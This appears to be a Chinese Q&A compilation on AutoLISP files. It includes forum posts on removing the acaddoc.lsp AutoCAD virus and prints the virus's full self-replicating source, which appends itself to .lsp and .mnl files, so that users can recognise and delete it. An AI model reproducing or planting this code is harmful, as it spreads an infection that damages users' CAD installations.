fas文件反編譯成lisp軟體

⑴ 運行CAD之後會自動生成一個lisp文件

保證你不在區域網 或者u盤不亂拷吧。我也中了 這個，清楚不徹底。一下是我自己收集的。

方法 一

acaddoc.lsp輸入的列表有缺陷（轉自LOVE空間）2009年04月07日 星期二 上午 11:14這個是個新病毒，用以往的解決方法（1.lps改名為acaddoc.lsp替換）無法解決，在網路搜索了一下看到網路空間有個帖子有相關解決辦法。

原帖如下：

今天在Q群里又見網友請求刪除CAD病毒，說用專殺工具也無法解決，於是讓他把病毒文件傳了給我。

打開文件一看，發現這個「acaddoc.lsp」文件內的程序代碼跟以往的「acaddoc.lsp」病毒文件不同。

該病毒文件自動搜索CAD支持路徑下的所有「*.mnl」文件和「*.lsp」文件。將病毒代碼（「acaddoc.lsp」文件內容）寫入「*.lsp」文件內，並在「*.mnl」文件中寫入「*.lsp」文件的載入路徑。同時，直線命令「line」、外部參照管理命令「xref」和分解（炸開）命令「explode」無法使用。

CAD系統感染該病毒文件後，只是簡單搜索刪除「acaddoc.lsp」文件，不能清除病毒。因為所有的「*.lsp」文件已經被修改，所有「*.lsp」文件都是病毒文件。

解決方法壹：

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、卸載CAD（必須卸載干凈，並進入C盤用戶目錄內刪除沒有卸載完的CAD文件）後，重新安裝CAD

解決方法貳：

①、關閉CAD

②、搜索並刪除所有「acaddoc.lsp」文件

③、找一台沒有被CAD病毒破壞、且安裝有相同版本CAD的電腦，復制其所有「*.lsp」文件和「*.mnl」文件至本機覆蓋原文件（包括C盤用戶目錄內的相關文件）

預防CAD病毒：

裝好CAD系統後，在沒有被病毒感染前，將CAD目錄內所有文件的屬性設置為只讀，可以減少中毒的機率。（此法99.999%有效）

附：C:\Documents and Settings\×××\Application Data\Autodesk\AutoCAD 200×\R×.×\

其中×××是你登錄系統時的用戶名， 200×和R×.×分別是CAD的版本和版本代號。（注意：目錄C:\Documents and Settings\是系統隱藏文件夾）

轉帖地址：http://hi..com/liuhuibin1984/blog/item/fbe647233340a543ad34deb3.html

方法 二

CAD開機運行時會有一大串函數，並且產生acaddoc.lsp的文件處理方法，我用了，方法很好就轉過來了

以下是本人中了acaddoc.lsp病毒的後親身體驗的殺毒經歷。
開始也在網上找了很多所謂的CAD病毒專殺、acaddoc.lsp專殺什麼的軟體。。。全試了都沒有用。後來通過網上介紹的一些關於lsp病毒的特性，親身試驗後確實有效，在此和大家分享，希望能為大家解決一些問題。
下面言歸正傳，殺毒步驟如下：
1、全盤刪除acaddoc.lsp（包括隱藏文件夾）——————廢話了，呵呵
2、刪除C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acaddoc.lsp和acadapq.lsp
3、刪除C:\Documents and Settings\Administrator\Application。Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下面的acad.mnl、acetmain.mnl和AecArchXOE.mnl。
4、刪除C:\Program Files\AutoCAD 2006\Support下面所有的*****.lsp,本人用的2006版共10個****.lsp文件。
5、COPY下面附件的alsp內的兩個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改為只讀。
6、COPY下面附件的mnl內的三個文件到C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support，改為只讀。
7、COPY下面附件的LSP內的十個文件到C:\Program Files\AutoCAD 2006\Support，改為只讀。

經以上步驟處理後，就完全可以放心使用了。

方法 三

CAD的病毒很多但都大同小異。現就出現的ACADDOC.LSP病毒進行殺毒。不用重新安裝CAD的辦法。
1、發現文件夾中多出ACADDOC.LSP說明你中毒了。
2、關閉CAD程序。
3、全盤查找 *.fas *.lsp *.mnl *.arx文件，除了CAD安裝目錄以外的全部刪除。
4、檢查CAD安裝目錄文件的修改時間，把最近的幾個文件中的病毒代碼刪除。（用記事本打開）
5、把CAD安裝目錄中的所有*.fas *.lsp *.mnl *.arx文件改為只讀屬性。

說明：
1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夾下的3d.lsp；3darray.lsp；acad2010.lsp；acad2010doc.lsp；acadinfo.lsp；ai_utils.lsp；attredef.lsp；edge.lsp；mvsetup.lsp；sample-profile-util.lsp文件。
2、要刪除的病毒代碼在文件的尾部，具體如下：

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)

加入360督導委員會 參與全民護安全！ 論壇版主擴編，歡迎您的加入！

canesky
金幣：65
經驗：99
等級：學前班
功勛：無
簡訊
[回復此樓][引用][舉報] 2 樓 2010-06-11 09:27 頂！

寒梅雪松
金幣：15
經驗：51
等級：幼兒園
功勛：無
簡訊
[回復此樓][引用][舉報] 3 樓 2010-11-10 03:14 這個方法不管用

aimou108
金幣：15
經驗：55
等級：幼兒園
功勛：無
簡訊
[回復此樓][引用][舉報] 4 樓 2010-12-07 10:59 已解決！感謝360論壇！同時感謝qq！如果不是qq當年作出一個艱難的決定，我不會用上360.，也就不會知道360論壇。

樓主給我們提供了一個解決方案，但需要注意的是，病毒感染的並不僅僅是安裝目錄下的文件。如果僅僅清除安裝目錄下感染文件的代碼，是無效的。這也是很多朋友說這個方法不管用的原因。它同時感染了
C:\Documents and Settings\用戶名\Application Data\Autodesk\AutoCAD 2006\R16.2\chs\Support下的*.MNL文件。需要一並將上述代碼清除。
這個問題折騰了我幾個月，奶奶的。無毒一身輕啊。。。

⑵ 怎麼能將Lisp代碼編譯成EXE文件

為什麼要編譯成exe文件呢？要讓其在所有的windows上都能運行？
【首先】：lisp是腳本語言，所以它是跨平台的，也就是說它不需要被編譯成exe文件，就能在所以機器上運行。
【方法】這方法有點笨，但是很好，也適用於想把java轉exe苦苦掙扎的人們
方法就是：寫一個bat文件
【bat文件的內容】文件名暫定為run.bat
.\clispfolder\clisp programname
PAUSE
【注】
（1）一定要用反斜杠
（2）clispfolder 為你的lisp的解釋器的文件夾的名字
（3）clisp 為你的解釋器的名字（就是clispfolder中那個exe文件）
（4）programname為你的lisp程序的名字，貌似帶不帶後綴都可以。
（5）用記事本寫完上面兩行東東後，將其存為.bat格式
【然後的操作】
隨便建一個文件夾，這個文件夾中要放進去三個東東
（1）你的lisp的源代碼
（2）你的lisp的完整的解釋器，就是講clispfolder完整的拷貝到這個文件夾即可
（3）剛才寫的那個bat文件
【之後】
你就可以帶著這個文件夾滿世界跑啦，在「所有」的windows中，雙擊那個bat文件，即可運行你寫的lisp啦..................................
【此方法的缺點】
（1）那個clispfolder太大，如果你只是寫一個不到1M的lisp的話，那這種方法很臃腫
（2）這種方法貌似不適用於用lisp寫windows的@病#毒！
----------------------------------------------------------------
不過這個方法可靠，簡單！

⑶ 如何在lisp中載入fas文件

不需要command這個命令，在lisp中command是模擬CAD中的命令行輸入，在這里再用command就是多此一舉。在lisp中直接加一行(load "djml.fas")就行了

⑷ CAD軟體自動生成的*.fas和*.lsp文件怎樣消除

同學
在保存的時候你要先選擇保存的格式
然後再輸入文件名
文件名不要輸入他的*.fas..*.lsp 格式裡面已經有了
至於打開的錯誤。
你嘗試下把文件放到同事那裡看看。 如果能用那就是你電腦問題 先把格式改下。

⑸ 是否有visual lisp 反編譯程序

有visual lisp 反編譯程序
目前是有這個工具的。

⑹ 我寫了十幾個lisp程序文件，編譯成一個VLX文件後部分命令不能用，但編譯時同時生成的FAS文件都正常。

不能用的提示是什麼?
常見的
1. 局部變數沒有封住，跑出來了，相互干擾。
2. lisp程序的載入次序不讀，你看看你工程配置里的lisp文件編譯次序，即為載入次序，你寫了那麼多比如有些公用的部分吧，你是不是這個次序錯了。
其他的沒了

⑺ 打開CAD文件後自動生成acad(autolisp應用程序源代碼)文件

你可以用360衛士里的,CAD專殺工具進行查殺.

⑻ 如何將LISP源程序編譯成fas\vlx格式

1、打開Visual LISP編輯器。

2、點文件/生成應用程序/新建應用程序向導。

3、如文件品種單一，則選簡單模式，如用幾種類型文件，如LISP，DCL等等，則選擇專家模式。

4、按程序要求，選擇已有的程序文件所在文件夾，並填寫想要的編譯後的VLX文件名稱如123。

5、最在當出現編譯應用程序時，默認為打勾項。此時點擊完成按鈕，就KO了。

6、打開已有的程序文件所在文件夾，把124.VLX文件找出來，就可以加以應用了。

補充：LISP（全名List Processor，即列表處理語言），由約翰·麥卡錫在1960年左右創造的一種基於λ演算的函數式編程語言。

⑼ FAS格式文件用什麼程序編輯打開

FAS文件格式是採用 AutoLISP 程序語言創建的腳本文件編譯後的文件格式，AutoLISP是由Autodesk公司開發的一種LISP程序語言，LISP是List Processor的縮寫。通過autolisp編程，用於在Autodesk中創建通用流程自動執行宏定義，可以用於發布程序，為Autodesk增加新的功能。

⑽ *.vlx和*.fas文件如何反編譯

《反編譯》的技術太難了，除了組合語言(Assemble)外，想作反compile的努力幾乎都是徒勞無功的，如果能反compile那麼程式設計師豈不是要喝西北風了？